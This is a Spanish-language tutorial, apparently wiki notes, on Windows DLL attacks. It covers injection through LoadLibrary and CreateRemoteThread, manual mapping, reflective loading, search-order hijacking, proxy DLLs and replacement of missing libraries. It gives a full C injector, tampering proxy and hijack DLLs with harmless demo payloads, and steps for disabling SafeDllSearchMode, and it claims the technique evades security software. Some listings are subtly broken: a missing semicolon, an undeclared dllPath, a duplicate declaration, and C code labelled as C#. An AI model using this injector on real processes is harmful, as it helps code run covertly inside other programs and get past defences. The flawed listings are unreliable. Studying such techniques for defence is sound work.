# DLL (Dynamic Link Library) Injection

Involucra insertar una pieza de código, estructurada como un DLL, en un proceso en ejecución.

Permite al ćodigo insertado ejecutarse dentro del contexto del proceso, influyendo en su comportamiento y accediendo a sus recursos.

Los desarrolladores aprovechan legítimamente DLL injection para modificar o actualizar sin la necesidad de reiniciar un proceso en ejecución inmediatamente.

Esta ténica es efectiva evadiendo software de seguridad.

## Métodos

### LoadLibrary

Emplea la API de LoadLibrary para carga el DLL en el espacio de direcciones del proceso objetivo.

Carga una DLL en la memoria del proceso actual y devuelve un identificador que se puede usar para obtener las direcciones de las funciones dentro de la DLL.

```c
#include <windows.h>
#include <stdio.h>

int main() {
    // Using LoadLibrary to load a DLL into the current process
    HMODULE hModule = LoadLibrary("example.dll");
    if (hModule == NULL) {
        printf("Failed to load example.dll\n");
        return -1;
    }
    printf("Successfully loaded example.dll\n");

    return 0;
}
```

#### LoadLibrary para DLL injection

Su papel es colocar la ruta de la DLL en la memoria del proceso remoto y arrancar un hilo dentro de ese proceso que invoque `LoadLibraryA(...)`, lo que hace que el loader de Windows mapee y ejecute la DLL maliciosa.

El uso de LoadLibrary es monitoreado por sistemas de seguridad y anti-cheat.

```c
#include <windows.h>
#include <stdio.h>

int main() {
    // Using LoadLibrary for DLL injection
    // First, we need to get a handle to the target process
    DWORD targetProcessId = 123456 // The ID of the target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
    if (hProcess == NULL) {
        printf("Failed to open target process\n");
        return -1;
    }

    // Next, we need to allocate memory in the target process for the DLL path
    LPVOID dllPathAddressInRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (dllPathAddressInRemoteMemory == NULL) {
        printf("Failed to allocate memory in target process\n");
        return -1;
    }

    // Write the DLL path to the allocated memory in the target process
    BOOL succeededWriting = WriteProcessMemory(hProcess, dllPathAddressInRemoteMemory, dllPath, strlen(dllPath), NULL);
    if (!succeededWriting) {
        printf("Failed to write DLL path to target process\n");
        return -1;
    }

    // Get the address of LoadLibrary in kernel32.dll
    LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (loadLibraryAddress == NULL) {
        printf("Failed to get address of LoadLibraryA\n");
        return -1;
    }

    // Create a remote thread in the target process that starts at LoadLibrary and points to the DLL path
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAddressInRemoteMemory, 0, NULL);
    if (hThread == NULL) {
        printf("Failed to create remote thread in target process\n");
        return -1;
    }

    printf("Successfully injected example.dll into target process\n");

    return 0;
}
```

* `OpenProcess(...)` — obtiene handle al proceso objetivo (acceso necesario).
* `VirtualAllocEx(...)` — reserva memoria dentro del proceso remoto para guardar la ruta de la DLL.
* `WriteProcessMemory(...)` — escribe la cadena con la ruta de la DLL en esa memoria remota.
* `GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")` — obtiene la dirección de `LoadLibraryA` (función del kernel32).
* `CreateRemoteThread(..., loadLibraryAddress, dllPathAddressInRemoteMemory, ...)` — crea un hilo en el proceso objetivo que comienza en `LoadLibraryA` y recibe como parámetro la ruta escrita; ese hilo ejecuta `LoadLibraryA("C:\\ruta\\a\\tu.dll")` **dentro** del proceso objetivo, provocando la carga y ejecución de la DLL.

### Manual Mapping

Es la técnica de cargar una DLL dentro del espacio de otro proceso sin usar el loader del sistema (no se llama LoadLibrary). Se realiza manualmente todo lo que el loader haría: mapear secciones, aplicar relocations, resolver imports y ejecutar inicializadores.

### Reflective DLL Injection

* <https://github.com/stephenfewer/ReflectiveDLLInjection>

Técnica para cargar una DLL en otro proceso sin usar el loader del sistema. Contiene un mini‑loader (ReflectiveLoader) que se ejecuta desde donde haya sido escrita en memoria y se encarga de “auto‑instalarse”.

### DLL Hijacking

DLL hijacking es una técnica donde un programa carga una DLL maliciosa (o involuntaria) porque busca dependencias siguiendo un orden vulnerable: el atacante coloca una DLL con el mismo nombre en una ruta que el programa consulta antes que la ubicación legítima. Cuando el programa pide la DLL, el sistema carga la versión equivocada —y el atacante obtiene ejecución en el contexto del proceso.

El orden de búsqueda de DLL predeterminado utilizado por el sistema depende de si **Safe DLL Search Mode** está activado (predeterminado), ubica el directorio actual del usuario mas abajo en el órden de búsqueda.

#### Modificar Safe DLL Search Mode

* <kbd>Windows Key + R</kbd>
* Escribir **Regedit** y presionar <kbd>Enter</kbd>
* Navegar a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager`
* En el panel de la derecha buscar el valor `SafeDllSearchMode`. Si no existe, click derecho sobre un espacio en blanco, seleccionar `New`, y `DWORD (32-bit) Value`. Llamarlo `SafeDllSearchMode`.
* Doble click sobre `SafeDllSearchMode` y modificar el campo `Value` a 1 para habilitarlo o 0 para deshabilitarlo.

1. Identificar una DLL que el objetivo está intentando localizar con **Process Explorer** o **PE Explorer**.
2. Identificar que funciones se quieren modificar con herramientas de ingeniería inversa.
3. Construir el DLL

#### Ejemplo de programa que carga una DLL de forma relativa

```csharp
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>

typedef int (*AddFunc)(int, int);

int readIntegerInput()
{
    int value;
    char input[100];
    bool isValid = false;

    while (!isValid)
    {
        fgets(input, sizeof(input), stdin);

        if (sscanf(input, "%d", &value) == 1)
        {
            isValid = true;
        }
        else
        {
            printf("Invalid input. Please enter an integer: ");
        }
    }

    return value;
}

int main()
{
    HMODULE hLibrary = LoadLibrary("library.dll");
    if (hLibrary == NULL)
    {
        printf("Failed to load library.dll\n");
        return 1;
    }

    AddFunc add = (AddFunc)GetProcAddress(hLibrary, "Add");
    if (add == NULL)
    {
        printf("Failed to locate the 'Add' function\n");
        FreeLibrary(hLibrary);
        return 1;
    }
    HMODULE hLibrary = LoadLibrary("x.dll");

    printf("Enter the first number: ");
    int a = readIntegerInput();

    printf("Enter the second number: ");
    int b = readIntegerInput();

    int result = add(a, b);
    printf("The sum of %d and %d is %d\n", a, b, result);

    FreeLibrary(hLibrary);
    system("pause");
    return 0;
}
```

### Proxying

DLL proxying (o DLL proxy) es una técnica donde una DLL “intermediaria” se coloca entre una aplicación y la DLL legítima que ésta espera. El proxy exporta las mismas funciones que la original, puede ejecutar código propio y luego redirige las llamadas a la DLL legítima real.

1. Crear una nuevo librería
2. Cargar una función del programa original
3. Manipular la función
4. Retornar la función modificada

```cpp
// tamper.c
#include <stdio.h>
#include <Windows.h>

#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif

typedef int (*AddFunc)(int, int);

DLL_EXPORT int Add(int a, int b)
{
    // Load the original library containing the Add function
    HMODULE originalLibrary = LoadLibraryA("library.o.dll");
    if (originalLibrary != NULL)
    {
        // Get the address of the original Add function from the library
        AddFunc originalAdd = (AddFunc)GetProcAddress(originalLibrary, "Add");
        if (originalAdd != NULL)
        {
            printf("============ HIJACKED ============\n");
            // Call the original Add function with the provided arguments
            int result = originalAdd(a, b);
            // Tamper with the result by adding +1
            printf("= Adding 1 to the sum to be evil\n");
            result += 1;
            printf("============ RETURN ============\n");
            // Return the tampered result
            return result;
        }
    }
    // Return -1 if the original library or function cannot be loaded
    return -1;
}
```

### Invalid Libraries

Reemplazar una librería válida que el programa intenta cargar pero no puede encontrar. Cambiar el filtro de `procmon` para enfocarse en entradas cuya ruta finaliza en `.dll` y tiene un status de `NAME NOT FOUND`.

```cpp
#include <stdio.h>
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        printf("Hijacked... Oops...\n");
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}
```
